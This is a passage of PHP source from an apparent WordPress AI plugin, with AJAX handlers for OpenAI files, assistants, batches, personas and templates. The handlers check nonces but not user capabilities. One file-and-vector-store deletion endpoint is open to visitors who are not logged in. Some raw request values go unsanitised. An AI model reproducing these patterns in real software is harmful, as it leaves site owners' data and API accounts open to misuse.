' . $embeddingid; } } else { $aiomatic_result['msg'] = 'Blank embedding ID added'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_logs', 'aiomatic_delete_logs'); function aiomatic_delete_logs() { $aiomatic_result = array('status' => 'success', 'msg' => 'Data deleted successfully'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $GLOBALS['aiomatic_stats']->clear_db(); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_user_logs', 'aiomatic_delete_user_logs'); function aiomatic_delete_user_logs() { $aiomatic_result = array('status' => 'success', 'msg' => 'Data deleted successfully'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['delfor']) || empty($_POST['delfor'])) { $aiomatic_result['status'] = 'fail'; $aiomatic_result['msg'] = 'Empty username added in the request!'; wp_send_json($aiomatic_result); } $userId = null; $user = get_user_by('login', $_POST['delfor']); if($user) { $userId = $user->ID; } else { $aiomatic_result['status'] = 'fail'; $aiomatic_result['msg'] = 'Failed to get user ID for username: ' . $_POST['delfor']; wp_send_json($aiomatic_result); } $aiomatic_stats = new Aiomatic_Statistics(); $aiomatic_stats->deleteUsageEntries('all', null, $userId, null, null); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_personas', 'aiomatic_personas'); function aiomatic_personas() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with AI Personas'); check_ajax_referer('aiomatic_personas', 'nonce'); if(!isset($_POST['aiomatic-persona-title']) || empty($_POST['aiomatic-persona-title'])) { $aiomatic_result['msg'] = 'Empty persona title added!'; wp_send_json($aiomatic_result); } $title = $_POST['aiomatic-persona-title']; if(!isset($_POST['aiomatic-persona-prompt']) || empty($_POST['aiomatic-persona-prompt'])) { $aiomatic_result['msg'] = 'Empty persona prompt added!'; wp_send_json($aiomatic_result); } $prompt = $_POST['aiomatic-persona-prompt']; $description = ''; if(isset($_POST['aiomatic-persona-description']) && !empty($_POST['aiomatic-persona-description'])) { $description = $_POST['aiomatic-persona-description']; } $first_message = ''; if(isset($_POST['aiomatic-persona-first-message']) && !empty($_POST['aiomatic-persona-first-message'])) { $first_message = $_POST['aiomatic-persona-first-message']; } $avatar = ''; if(isset($_POST['aiomatic-persona-avatar']) && !empty($_POST['aiomatic-persona-avatar'])) { $avatar = $_POST['aiomatic-persona-avatar']; } $aiomatic_result = aiomatic_save_persona($title, $prompt, $description, $first_message, $avatar); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_list_assistant_files', 'aiomatic_list_assistant_files'); function aiomatic_list_assistant_files() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning files'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for assistants.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->listFiles(array( 'purpose' => 'assistants' )); $result = json_decode($result); if(isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; } else{ if(isset($result->data) && is_array($result->data) && count($result->data)) { foreach($result->data as $ind => $rd) { if($rd->purpose != 'assistants') { unset($result->data[$ind]); } } $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result->data; } else{ $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = array(); } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_list_batch_files', 'aiomatic_list_batch_files'); function aiomatic_list_batch_files() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with batch files'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for AI Batch Requests.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->listFiles(); $result = json_decode($result); if(isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; } else{ if(isset($result->data) && is_array($result->data) && count($result->data)) { foreach($result->data as $ind => $rd) { if($rd->purpose != 'batch' && $rd->purpose != 'batch_output') { unset($result->data[$ind]); } } $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result->data; } else{ $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = array(); } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_download_file', 'aiomatic_download_file'); function aiomatic_download_file() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with file downloading'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for this feature.'; wp_send_json($aiomatic_result); die(); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(isset($_REQUEST['id']) && !empty($_REQUEST['id'])) { if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $id = sanitize_text_field($_REQUEST['id']); if (!$open_ai) { $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); die(); } else { $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->retrieveFileContent($id); $json_parse = json_decode($result); if(isset($json_parse->error)){ $aiomatic_result['msg'] = 'Error: ' . $json_parse->error->message; wp_send_json($aiomatic_result); die(); } else { $file_info = $open_ai->retrieveFile($id); $json_info_parse = json_decode($file_info); if(!isset($json_info_parse->filename)) { $aiomatic_result['msg'] = 'Error in file downloading: ' . print_r($json_info_parse, true); wp_send_json($aiomatic_result); die(); } else { $filename = $json_info_parse->filename; $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result; $aiomatic_result['filename'] = $filename; wp_send_json($aiomatic_result); die(); } } } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_parse_output', 'aiomatic_parse_output'); function aiomatic_parse_output() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with result parsing'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); die(); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(isset($_REQUEST['id']) && !empty($_REQUEST['id']) && isset($_REQUEST['idin']) && !empty($_REQUEST['idin']) && isset($_REQUEST['endpoint']) && !empty($_REQUEST['endpoint'])) { if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $id = sanitize_text_field($_REQUEST['id']); $idin = sanitize_text_field($_REQUEST['idin']); $endpoint = sanitize_text_field($_REQUEST['endpoint']); if (!$open_ai) { $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); die(); } else { $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->retrieveFileContent($id); $json_parse = json_decode($result); if(isset($json_parse->error)){ $aiomatic_result['msg'] = 'Error: ' . $json_parse->error->message; wp_send_json($aiomatic_result); die(); } else { if($delay != '' && is_numeric($delay)) { usleep($delay); } $result_in = $open_ai->retrieveFileContent($idin); $json_parse_in = json_decode($result_in); if(isset($json_parse_in->error)){ $aiomatic_result['msg'] = 'Error in input file reading: ' . $json_parse_in->error->message; wp_send_json($aiomatic_result); die(); } else { if($endpoint === '/v1/chat/completions') { $parsed_data = array( 'input' => $result_in, 'output' => $result ); $formatted_result = aiomatic_format_parsed_data($parsed_data); $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $formatted_result; wp_send_json($aiomatic_result); die(); } else { $parsed_data = array( 'input' => $result_in, 'output' => $result ); $formatted_result = aiomatic_format_parsed_embeddings_data($parsed_data); $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $formatted_result; wp_send_json($aiomatic_result); die(); } } } } } else { $aiomatic_result['msg'] = 'Incorrect request sent.'; wp_send_json($aiomatic_result); die(); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_template_data', 'aiomatic_get_template_data'); function aiomatic_get_template_data() { check_ajax_referer('openai-omni-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with template data'); if(!isset($_POST['id']) || empty($_POST['id'])) { $aiomatic_result['msg'] = 'Empty template id added!'; wp_send_json($aiomatic_result); } $themeid = $_POST['id']; $formid = $_POST['formid']; $aiomatic_theme = get_post(sanitize_text_field($themeid)); if($aiomatic_theme === null || $aiomatic_theme === 0) { $aiomatic_result['msg'] = 'Failed to get template ID: ' . print_r($themeid, true); wp_send_json($aiomatic_result); } else { $json_back = get_post_meta($aiomatic_theme->ID, 'aiomatic_json', true); if(!empty($json_back)) { $aiomatic_theme->post_content = $json_back; } if(empty($formid)) { update_option('aiomatic_dafault_omni_template', $aiomatic_theme->ID, false); $aiomatic_result['msg'] = $aiomatic_theme->post_content; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); } else { $aiomatic_result['msg'] = $aiomatic_theme->post_content; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_save_seo_template', 'aiomatic_save_seo_template'); function aiomatic_save_seo_template() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $templates = get_option('aiomatic_templates', array()); $template_name = sanitize_text_field($_POST['template_name']); $prompt = sanitize_textarea_field($_POST['prompt']); $templates[$template_name] = $prompt; update_option('aiomatic_templates', $templates); wp_send_json_success(); } add_action('wp_ajax_aiomatic_load_seo_templates', 'aiomatic_load_seo_templates'); function aiomatic_load_seo_templates() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $templates = get_option('aiomatic_templates', array()); wp_send_json_success($templates); } add_action('wp_ajax_aiomatic_load_seo_template', 'aiomatic_load_seo_template'); function aiomatic_load_seo_template() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $templates = get_option('aiomatic_templates', array()); $template_name = sanitize_text_field($_POST['template_name']); if (isset($templates[$template_name])) { wp_send_json_success($templates[$template_name]); } else { wp_send_json_error(); } } add_action('wp_ajax_aiomatic_delete_seo_template', 'aiomatic_delete_seo_template'); function aiomatic_delete_seo_template() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $templates = get_option('aiomatic_templates', array()); $template_name = sanitize_text_field($_POST['template_name']); if (isset($templates[$template_name])) { unset($templates[$template_name]); update_option('aiomatic_templates', $templates); wp_send_json_success(); } else { wp_send_json_error(); } } add_action('wp_ajax_aiomatic_get_template_cat_data', 'aiomatic_get_template_cat_data'); function aiomatic_get_template_cat_data() { check_ajax_referer('openai-omni-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with template category selection'); if(!isset($_POST['id'])) { $aiomatic_result['msg'] = 'Empty template category id added!'; wp_send_json($aiomatic_result); } if(empty($_POST['id'])) { $args = array( 'post_type' => 'aiomatic_omni_temp', 'posts_per_page' => -1 ); $return_arr = array(); $the_query = new WP_Query($args); if ($the_query->have_posts()) { while ($the_query->have_posts()) { $the_query->the_post(); $return_arr[get_the_ID()] = get_the_title(); } wp_reset_postdata(); } $aiomatic_result['msg'] = $return_arr; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } $themeid = $_POST['id']; $args = array( 'post_type' => 'aiomatic_omni_temp', 'posts_per_page' => -1, 'tax_query' => array( array( 'taxonomy' => 'ai_template_categories', 'field' => 'slug', 'terms' => $themeid ) ) ); $return_arr = array(); $the_query = new WP_Query($args); if ($the_query->have_posts()) { while ($the_query->have_posts()) { $the_query->the_post(); $return_arr[get_the_ID()] = get_the_title(); } wp_reset_postdata(); } $aiomatic_result['msg'] = $return_arr; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_assistant_vector_store', 'aiomatic_delete_assistant_vector_store'); add_action('wp_ajax_nopriv_aiomatic_delete_assistant_vector_store', 'aiomatic_delete_assistant_vector_store'); function aiomatic_delete_assistant_vector_store() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning deletion'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for assistants.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); $storeid = $_POST['storeid']; $store_del = aiomatic_openai_delete_vector_store($token, $storeid); if(isset($store_del->error)) { $aiomatic_result['msg'] = $result->error->message; wp_send_json($aiomatic_result); } $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->deleteFile($_POST['id']); $result = json_decode($result); if(isset($result->error)) { $aiomatic_result['msg'] = $result->error->message; } else { $aiomatic_result['status'] = 'success'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_assistant_file', 'aiomatic_delete_assistant_file'); function aiomatic_delete_assistant_file() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning deletion'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->deleteFile($_POST['id']); $result = json_decode($result); if(isset($result->error)) { $aiomatic_result['msg'] = $result->error->message; } else { $aiomatic_result['status'] = 'success'; } } wp_send_json($aiomatic_result); } add_action('wp_ajax_aiomatic_assistant_file_upload', 'aiomatic_assistant_file_upload'); function aiomatic_assistant_file_upload() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with file uploading'); if(isset($_FILES['file']) && empty($_FILES['file']['error'])){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for assistants.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $file_name = sanitize_file_name(basename($_FILES['file']['name'])); $tmp_file = $_FILES['file']['tmp_name']; $c_file = curl_file_create($tmp_file, $_FILES['file']['type'], $file_name); $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $purpose = 'assistants'; $result = $open_ai->uploadFile(array( 'purpose' => $purpose, 'file' => $c_file, )); $result = json_decode($result); if(isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; } else { $aiomatic_result['msg'] = $result->id; $aiomatic_result['status'] = 'success'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_batch_file_upload', 'aiomatic_batch_file_upload'); function aiomatic_batch_file_upload() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with file uploading'); if(isset($_FILES['file']) && empty($_FILES['file']['error'])){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for batch API.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $file_name = sanitize_file_name(basename($_FILES['file']['name'])); $tmp_file = $_FILES['file']['tmp_name']; $c_file = curl_file_create($tmp_file, $_FILES['file']['type'], $file_name); $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $purpose = 'batch'; $result = $open_ai->uploadFile(array( 'purpose' => $purpose, 'file' => $c_file, )); $result = json_decode($result); if(isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; } else { $aiomatic_result['msg'] = $result->id; $aiomatic_result['status'] = 'success'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_assistants', 'aiomatic_assistants'); function aiomatic_assistants() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with AI Assistants'); check_ajax_referer('aiomatic_assistants', 'nonce'); $token = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } else { $aiomatic_result['msg'] = 'Please set up your API key in the plugin\' settings.'; wp_send_json($aiomatic_result); } if(!isset($_POST['aiomatic-assistant-title']) || empty($_POST['aiomatic-assistant-title'])) { $aiomatic_result['msg'] = 'Empty assistant title added!'; wp_send_json($aiomatic_result); } $title = stripslashes($_POST['aiomatic-assistant-title']); if(!isset($_POST['aiomatic-assistant-prompt']) || empty($_POST['aiomatic-assistant-prompt'])) { $prompt = ''; } else { $prompt = stripslashes($_POST['aiomatic-assistant-prompt']); } if(!isset($_POST['aiomatic-assistant-model']) || empty($_POST['aiomatic-assistant-model'])) { $aiomatic_result['msg'] = 'Empty assistant model added!'; wp_send_json($aiomatic_result); } $code_interpreter = false; if(isset($_POST['aiomatic-assistant-code-interpreter']) && $_POST['aiomatic-assistant-code-interpreter'] == 'on') { $code_interpreter = true; } $file_search = false; if(isset($_POST['aiomatic-assistant-file_search']) && $_POST['aiomatic-assistant-file_search'] == 'on') { $file_search = true; } $model = stripslashes($_POST['aiomatic-assistant-model']); $description = ''; if(isset($_POST['aiomatic-assistant-description']) && !empty($_POST['aiomatic-assistant-description'])) { $description = stripslashes($_POST['aiomatic-assistant-description']); } $topp = ''; if(isset($_POST['aiomatic-assistant-topp']) && !empty($_POST['aiomatic-assistant-topp'])) { $topp = stripslashes($_POST['aiomatic-assistant-topp']); } $temperature = ''; if(isset($_POST['aiomatic-assistant-temperature']) && !empty($_POST['aiomatic-assistant-temperature'])) { $temperature = stripslashes($_POST['aiomatic-assistant-temperature']); } $assistant_first_message = ''; if(isset($_POST['aiomatic-assistant-first-message']) && !empty($_POST['aiomatic-assistant-first-message'])) { $assistant_first_message = stripslashes($_POST['aiomatic-assistant-first-message']); } $avatar = ''; if(isset($_POST['aiomatic-assistant-avatar'])) { $avatar = stripslashes($_POST['aiomatic-assistant-avatar']); } $functions = ''; if(isset($_POST['aiomatic-assistant-functions']) && !empty($_POST['aiomatic-assistant-functions'])) { $functions = stripslashes($_POST['aiomatic-assistant-functions']); } $assistant_files = []; if(isset($_POST['aiomatic-assistant-files']) && !empty($_POST['aiomatic-assistant-files'])) { $assistant_files = $_POST['aiomatic-assistant-files']; if(is_array($assistant_files) && count($assistant_files) > 20) { $assistant_files = array_slice($assistant_files, 0, 20); } } $aiomatic_result = aiomatic_save_assistant($token, $title, $model, $prompt, $description, $temperature, $topp, $assistant_first_message, $avatar, $code_interpreter, $file_search, $assistant_files, $functions); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_batches', 'aiomatic_batches'); function aiomatic_batches() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with AI Batch Requests'); check_ajax_referer('aiomatic_batches', 'nonce'); $token = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } else { $aiomatic_result['msg'] = 'Please set up your API key in the plugin\' settings.'; wp_send_json($aiomatic_result); } if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Only OpenAI API is supported for the Batches API'; wp_send_json($aiomatic_result); } if(!isset($_POST['aiomatic-batch-file']) || empty($_POST['aiomatic-batch-file'])) { $aiomatic_result['msg'] = 'Empty AI Batch Request File added!'; wp_send_json($aiomatic_result); } $aiomatic_batch_file = $_POST['aiomatic-batch-file']; if(!isset($_POST['aiomatic-completion-window']) || empty($_POST['aiomatic-completion-window'])) { $aiomatic_result['msg'] = 'Empty AI Completion Window added!'; wp_send_json($aiomatic_result); } $aiomatic_completion_window = $_POST['aiomatic-completion-window']; if(!isset($_POST['aiomatic-endpoint']) || empty($_POST['aiomatic-endpoint'])) { $aiomatic_result['msg'] = 'Empty AI Endpoint added!'; wp_send_json($aiomatic_result); } $aiomatic_endpoint = $_POST['aiomatic-endpoint']; $aiomatic_result = aiomatic_save_batch($token, $aiomatic_batch_file, $aiomatic_completion_window, $aiomatic_endpoint); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_assistants_edit', 'aiomatic_assistants_edit'); function aiomatic_assistants_edit() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with AI Assistants editing'); check_ajax_referer('aiomatic_assistants', 'nonce'); $token = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } else { $aiomatic_result['msg'] = 'Please set up your API key in the plugin\' settings.'; wp_send_json($aiomatic_result); } if(!isset($_POST['aiomatic-assistant-title']) || empty($_POST['aiomatic-assistant-title'])) { $aiomatic_result['msg'] = 'Empty assistant title added!'; wp_send_json($aiomatic_result); } $title = stripslashes($_POST['aiomatic-assistant-title']); if(!isset($_POST['assistant_id']) || empty($_POST['assistant_id'])) { $aiomatic_result['msg'] = 'Incorrect request provided!'; wp_send_json($aiomatic_result); } $assistant_id_local = stripslashes($_POST['assistant_id']); $assistant_id = get_post_meta($assistant_id_local, '_assistant_id', true); if(empty($assistant_id)) { $aiomatic_result['msg'] = 'Assistant ID was not found in the database!'; wp_send_json($aiomatic_result); } if(!isset($_POST['aiomatic-assistant-prompt']) || empty($_POST['aiomatic-assistant-prompt'])) { $prompt = ''; } else { $prompt = stripslashes($_POST['aiomatic-assistant-prompt']); } if(!isset($_POST['aiomatic-assistant-model']) || empty($_POST['aiomatic-assistant-model'])) { $aiomatic_result['msg'] = 'Empty assistant 